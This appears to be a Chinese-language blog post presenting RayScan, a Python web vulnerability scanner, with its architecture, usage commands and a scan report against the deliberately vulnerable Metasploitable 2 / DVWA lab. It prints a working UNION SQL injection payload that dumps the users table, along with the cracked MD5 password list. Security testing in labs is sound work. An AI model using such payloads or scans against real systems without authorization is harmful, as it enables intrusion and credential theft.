项目 : RayScan --- 开箱即用的 Web 漏洞扫描器 实战报告 : 单目标 83 个漏洞,SQL 注入提取全部用户密码 技术栈: Python asyncio · 11 检测模块 · CLI + Web UI
为什么写这个工具
市面上的开源扫描器要么太重(配套数据库、消息队列),要么太老(多年不维护),要么只扫单一漏洞。
我想要的是一个 开箱即用、覆盖全面、还能看到实时扫描过程 的扫描器:
pip install就能跑,不用配数据库- 命令行一行搞定,也有 Web 界面
- 覆盖 OWASP Top 10 常见漏洞
- 能看到扫描器在做什么,而不是黑盒等结果
于是有了 RayScan。
架构
bash
wvs/ ← 核心检测引擎
├── core/ ← 爬虫 + 扫描调度 + 去重
├── modules/ ← 11 个检测模块
│ ├── sqli/ ← SQL 注入(报错/布尔/时间/联合)
│ ├── xss/ ← 反射型/存储型/DOM 型
│ ├── lfi/ ← 文件包含 + 路径遍历
│ ├── cmdi/ ← 命令注入
│ ├── ssrf/xxe/rce/ ← 其他高危漏洞
│ └── api/sensitive/ ← API 安全 + 敏感信息
└── reporting/ ← HTML/JSON/Markdown 报告
web_ui/ ← Web 可视化界面
├── app.py ← Flask + SSE 实时日志
└── templates/
实战:扫 Metasploitable 2
我用 DVWA(Metasploitable 2)做完整验证:
ini
RayScan 1.0.2 扫描目标: http://192.168.18.131
模块: sqli, cmdi, xss, lfi, rce, api, sensitive, xxe, ssrf
速率: 15 req/s
[*] Crawling... 49 pages, 96 endpoints, 9 forms
[+] DVWA login OK (admin:password)
[*] Phase 2/4: Running detectors...
[sqli] Found SQL injection in id parameter
[sensitive] Found /phpinfo.php, /test/ exposed
[lfi] Found /etc/passwd via page= parameter
[api] Apache/2.2.8 version disclosure (80x)
✅ 83 vulnerabilities found
SQL 注入提取密码
最直接的成果:通过联合查询注入拿到 users 表全部数据:
sql
-1' UNION SELECT 1,GROUP_CONCAT(user,0x3a,password) FROM users--
admin:5f4dcc3b5aa765d61d8327deb882cf99 → password
gordonb:e99a18c428cb38d5f260853678922e03 → abc123
1337:8d3533d75ae2c3966d7e0d4fcc69216b → charley
pablo:0d107d09f5bbe40cade3de5c71e9e9b7 → letmein
smithy:5f4dcc3b5aa765d61d8327deb882cf99 → password
5 个用户密码全部提取,MD5 可逆向。
两个使用方式
命令行(适合日常扫描)
bash
git clone https://github.com/xiabai2004/RayScan
cd RayScan
pip install -e .
# 快速扫描
python -m wvs scan http://目标.com
# 仅扫特定模块
python -m wvs scan http://目标.com --modules sqli xss lfi
# 输出 JSON 报告
python -m wvs scan http://目标.com -o result.json -f json
Web UI(适合可视化操作)
bash
pip install flask
cd web_ui && python app.py
# 浏览器打开 http://localhost:5000
Web UI 支持:
- 深色/浅色主题一键切换
- 实时日志流 --- 和 CLI 完全一致的输出
- 发现漏洞即时显示在结果表
- 响应式布局,手机也能看
实测表现
| 指标 | 数值 |
|---|---|
| 测试用例 | 316 个,全部通过 |
| 靶场验证 | Metasploitable 2 / DVWA |
| 发现漏洞 | 83 个(含 SQLi 注入提取数据) |
| 单目标耗时 | 约 60 秒 |
| 支持协议 | HTTP / HTTPS |
| 报告格式 | HTML / JSON / Markdown |
下一步计划
- Nuclei 模板集成
- 爬虫性能优化(目前 50 URL/目标)
- 更多靶场兼容性测试
- CI/CD 流水线(已配置 GitHub Actions)
项目地址 : github.com/xiabai2004/...
如果觉得有用,欢迎 Star ⭐ 支持!有任何问题可以提 Issue 或直接讨论。


